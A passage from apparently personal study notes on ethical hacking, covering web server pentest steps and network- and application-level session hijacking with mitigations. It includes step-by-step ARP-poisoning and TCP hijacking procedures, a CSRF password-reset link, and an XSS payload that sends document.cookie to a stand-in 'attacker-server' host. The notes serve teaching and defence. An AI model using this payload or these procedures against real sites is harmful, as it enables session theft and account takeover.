      • Perform subdomain enumeration and DNS analysis.
    • Tools:
      • nmap: port scanning and version detection.
      • Manual inspection of webpage banners, source code, and DNS records.
  2. Vulnerability scanning: identify known vulnerabilities in web servers and applications.

    • Tools:
      • Nessus and Tenable: Industry-standard vulnerability scanners.
      • OpenVAS: open-source vulnerability scanning.
        • Nikto: scans for common web server vulnerabilities.
        • OWASP ZAP: open-source tool with extensive features for web app testing.
      • Burp Suite: paid tool offering advanced scanning and manual testing.
  3. Directory fuzzing: identify hidden directories or files on the web server (e.g. iscover directories containing sensitive files (wp-config.php, settings.xml) with misconfigured permissions).

    • Process:
      • Use tools to brute-force directory paths using common naming conventions.
      • Check for sensitive directories like /admin/, /passwords/, or /logs/.
      • Inspect files like robots.txt for disallowed directories.
    • Tools:
      • Fairox Buster: Fast, Rust-based directory fuzzing tool.
      • GoBuster and Dirb: Widely used for directory discovery.
  4. Abusing defaults: exploit default configurations, credentials, or files left unchanged.

    • Common Issues:
      • Default usernames and passwords (e.g., admin/admin, root/root).
      • Unsecured configuration files (e.g., phpinfo.php exposing server details).
      • Unrestricted access to administrative pages.
    • Mitigation:
      • Change default credentials immediately after installation.
      • Restrict access to sensitive files and configuration pages.
  5. Web application attacks: leverage information gathered to exploit vulnerabilities (e.g. After obtaining admin credentials, perform authenticated scans to find additional vulnerabilities).

    • Attack Vectors:
      • Exploiting default credentials to gain admin access.
      • Using tools like Burp Suite or OWASP ZAP to craft and execute attacks.
    • Goal: report findings to the client for remediation.

Concepts

Session hijacking is a type of cyberattack where an attacker takes control of a legitimate user’s session on a computer system, network, or application. The attacker intercepts or steals the session identifier (e.g., session cookie or token) to impersonate the victim and gain unauthorized access to the system or application. In brief, it is impersonation of an authenticated user.

  • Types:
    • Passive Session Hijacking: the attacker eavesdrops on the communication between the client and server to capture session identifiers without actively interfering with the traffic. The attacker aims to intercept sensitive information transmitted during the session, such as authentication credentials or session tokens, without alerting the victim or raising suspicion. (e.g. attacker uses a network sniffer tool to capture packets exchanged between a user’s web browser and a banking website. By analyzing the captured traffic, the attacker identifies the session cookie used for authentication. The attacker can then use this session cookie to impersonate the user and gain unauthorized access to the banking website without the user’s knowledge).
    • Active Session Hijacking: the attacker actively interferes with the communication between the client and server to intercept or manipulate session identifiers. Unlike passive session hijacking, the attacker modifies network traffic or injects malicious code to steal session tokens or manipulate session-related data (e.g. attacker performs a man-in-the-middle (MitM) attack to intercept traffic between a user and an online shopping website. The attacker injects malicious JavaScript code into the web pages served by the website, which steals the user’s session cookie upon execution. With the stolen session cookie, the attacker can impersonate the user and make unauthorized purchases or access sensitive account information).

Network level session hijacking

Network layer session hijacking takes place at the network level of the OSI model. Attackers intercept and manipulate network packets to steal session identifiers or manipulate session-related data, bypassing application-level security controls. This type of hijacking can be more difficult to detect and mitigate compared to application layer hijacking.

  • Types:

    • Blind Hijacking: the attacker attempts to hijack a session without having access to the actual session data. In blind hijacking, the attacker relies on guesswork or brute force techniques to predict or guess session identifiers, such as session cookies or tokens. This can be challenging for the attacker since they lack direct access to the session information and may require extensive trial and error to succeed.
    • UDP Hijacking: involves the interception and manipulation of UDP (User Datagram Protocol) packets to hijack a session between a client and server. Unlike TCP, UDP is connectionless and does not include mechanisms for session establishment or maintenance. As a result, UDP hijacking attacks typically target applications or services that use UDP for communication, such as online gaming or VoIP (Voice over Internet Protocol) applications. Attackers may inject or modify UDP packets to disrupt communication, inject malicious payloads, or hijack sessions between the client and server.
    • RST Hijacking: hijacks TCP sessions by sending forged TCP RST (Reset) packets to terminate established connections between a client and server. TCP RST packets are used to signal the abrupt termination of a TCP connection, and they can be abused by attackers to forcibly close connections between legitimate parties. By spoofing or injecting TCP RST packets into the network traffic, the attacker can disrupt ongoing sessions, terminate connections prematurely, or manipulate the flow of data between the client and server. RST hijacking attacks can be effective in disrupting communication and causing denial-of-service (DoS) conditions for targeted services or applications.
    • TCP Session Hijacking: manipulates or takes over an active TCP session by spoofing the connection and injecting malicious traffic. Example process:
      1. Set up a Telnet session: establish a Telnet session between a client and server (e.g., Metasploitable server).
      2. Use ARP poisoning: deploy Ettercap for ARP poisoning to redirect traffic. Identify target devices and place yourself in the middle of their communication.
      3. Sniff traffic with Wireshark: capture IPs, ports, and data exchanges. Analyze TCP streams for critical details like source and destination.
      4. Hijack the Session: use Shyjack to hijack the session.
        • Provide source IP, destination IP, and port details.
        • Inject commands to control the session (e.g., file creation or directory listing).
      5. Verification: Observe changes on the target system to confirm hijack success.
    • Session Token Hijacking: captures session tokens from HTTP traffic and reuses them to impersonate a user. Example process:
      1. Capture HTTP traffic: use tools like Wireshark to sniff HTTP packets.
      2. Extract the session token: identify and copy session cookies or tokens from the captured traffic.
      3. Inject the token: use browser developer tools to replace the session token. Validate by navigating the target’s session with their permissions.
  • Key Concepts:

    • Man-in-the-Middle (MITM): most session hijacking techniques depend on intercepting communication between the victim and the server.
    • Connection-oriented vs. Connectionless:
      • TCP hijacking relies on exploiting sequence numbers in a connection-oriented protocol.
      • UDP hijacking leverages the stateless nature of UDP for easier injection.
  • Network Analysis: tools like Wireshark help visualize and extract session details.

  • Best practices for defenders:

    • Use encryption (e.g., HTTPS) to protect session tokens.
    • Implement robust sequence number randomization.
    • Monitor for unusual traffic patterns or ARP poisoning attempts.
    • Regularly update and patch network tools and devices.

Application-level session hijacking

Application-level session hijacking involves exploiting vulnerabilities in web applications to intercept, manipulate, or predict session data. Attackers use various techniques to impersonate legitimate users, gaining unauthorized access to sensitive information or actions.

An attacker may exploit vulnerabilities in web applications or software to steal session identifiers or manipulate session-related data. By targeting weaknesses in the application logic or implementation, the attacker can gain unauthorized access to user accounts, manipulate transactions, or extract sensitive information.

  • Common attacks:

    1. Sniffing passively monitors network traffic to capture session IDs, tokens, or cookies.
      • Process:
        1. Use tools like Wireshark to sniff network traffic.
        2. Extract session tokens or cookies from captured packets.
        3. Inject captured tokens into your browser or API client to hijack the session.
      • Notes: effective on unsecured networks or during VLAN hopping. Passive until tokens are actively used.
    2. Man-in-the-Middle (MITM): actively intercepts and manipulates communication between a user and a server.
      • Variant: Man-in-the-Browser: a malware-based MITM attack using tools like BeEF (Browser Exploitation Framework.
        • Hooks browsers via cross-site scripting (XSS) or direct injection.
        • Allows full control over browser actions, including stealing cookies or performing actions on behalf of the victim.
    3. Cross-Site Scripting (XSS): injects malicious scripts into web applications to exploit user sessions.
      • Process:
        1. Identify a vulnerable input in the web application (e.g., stored XSS).

        2. Inject a script to extract session cookies or tokens. An example of payload is:

          1
          2
          3
          <script>
          new Image().src="http://attacker-server:8000/steal.php?cookie=" + document.cookie;
          </script>
        3. Set up an HTTP server (e.g., Python) to capture requests with stolen session cookies.

        4. Use captured cookies to hijack the session.

      • Variations:
        • Stored XSS: Targets multiple users accessing a page.
        • Reflected XSS: Requires user interaction (e.g., phishing links).
    4. Compression Ratio Info Leak Made Easy (CRIME): exploits vulnerabilities in SSL/TLS compression (SPDY) to reveal encrypted information (e.g. dedice context of the session cookie from differences on file sizes).
      • Attacks leverage patterns in compressed data to infer sensitive information.
      • Largely mitigated by modern patches.
    5. Session fixation forces a victim to use a specific session ID controlled by the attacker.
      • Process:
        1. The attacker generates a valid session ID.
        2. Delivers the session ID to the victim through phishing or crafted links.
        3. Once the victim logs in, the attacker uses the known session ID to access the session (e.g. URL: https://example.com?sessionid=12345).
    6. Session donation: similar to fixation, but the attacker donates their session ID to the victim.
      • Process:
        1. The attacker logs in to create a session ID.
        2. Sends the session ID to the victim.
        3. The attacker uses the session ID to monitor or manipulate the session.
    7. Cross-Site Request Forgery (CSRF): exploits a user’s authenticated session to perform unauthorized actions (banking transfer).
      • Process:
        1. Create a malicious link triggering a password reset or fund transfer (e.g. https://example.com/resetpassword?newpassword=AttackerPassword123).
        2. Send the link to the victim.
        3. Once clicked, the action is executed under the victim’s session.
    8. Session ID prediction: predicts or brute-forces session IDs to hijack a session (use sequences and patterns).
      • Process:
        1. Analyze patterns in session ID generation (e.g., sequential numbers like current Session ID: sess123).
        2. Test predicted session IDs to see if they match active sessions (eg.sess122 or sess124).
  • Mitigation Strategies

    • Encryption: use HTTPS to secure data in transit.
    • Secure cookies:
      • Mark cookies as HttpOnly and Secure.
      • Implement SameSite attributes.
    • Session Management:
      • Regenerate session IDs upon login.
      • Expire sessions after a period of inactivity.
    • Input Validation: sanitize user inputs to prevent XSS and CSRF.
    • CSRF Tokens: use unique tokens to validate requests.

Countermeasures

  • Detection strategies:

    • Manual detection

      • Monitor network traffic: establish baselines for normal traffic levels, and identify unusual spikes or patterns indicating potential attacks (e.g., session hijacking, denial-of-service attacks).
      • Inspect packet data: use tools like Wireshark to examine packets for anomalies, such as unexpected tokens or unusual source/destination combinations.
      • Check ARP cache entries: look for duplicate entries, which may signal ARP poisoning and a potential man-in-the-middle attack.
    • Automated detection:

      • Intrusion Detection Systems (IDS) and Intrusion Prevention Systems (IPS): use to identify suspicious behavior and block attacks in real time.
      • Security Information and Event Management (SIEM): implement solutions with real-time threat detection and analysis.
      • Web Application Firewalls (WAFs): block malicious traffic targeting web applications.
  • Preventative Measures:

    • For End Users:
      1. Use encrypted connections: always prefer HTTPS over HTTP.
      2. Log out after use: avoid leaving sessions open to minimize the risk of session hijacking.
      3. Avoid clicking suspicious links:verify the legitimacy of links before clicking, especially in emails or messages.
      4. Maintain security hygiene: egularly update software and browsers. Use strong, unique passwords and enable two-factor authentication (2FA) where possible.
    • For Web application developers and admins:
      1. Session Management:
        • Randomize session IDs to prevent ID prediction.
        • Regenerate session IDs upon user login to invalidate old ones.
        • Avoid assigning session tokens to unauthenticated users.
      2. Encrypt Data:
        • Implement TLS for secure communication.
        • Use IPsec for encrypting network-level communications.
      3. Session Expiry:
        • Automatically log users out after periods of inactivity.
        • Implement short expiration times for session tokens.
      4. Validate Requests:
        • Ensure sessions originate from the same host by validating Source IP, User-Agent string and referrer headers.
        • Use geolocation checks to flag unexpected access patterns.
      5. Implement Security Headers: use HttpOnly, Secure, and SameSite attributes for cookies.
      6. Defend against session fixation: ensure that session IDs change after user authentication, and avoid embedding session tokens in URLs.
0%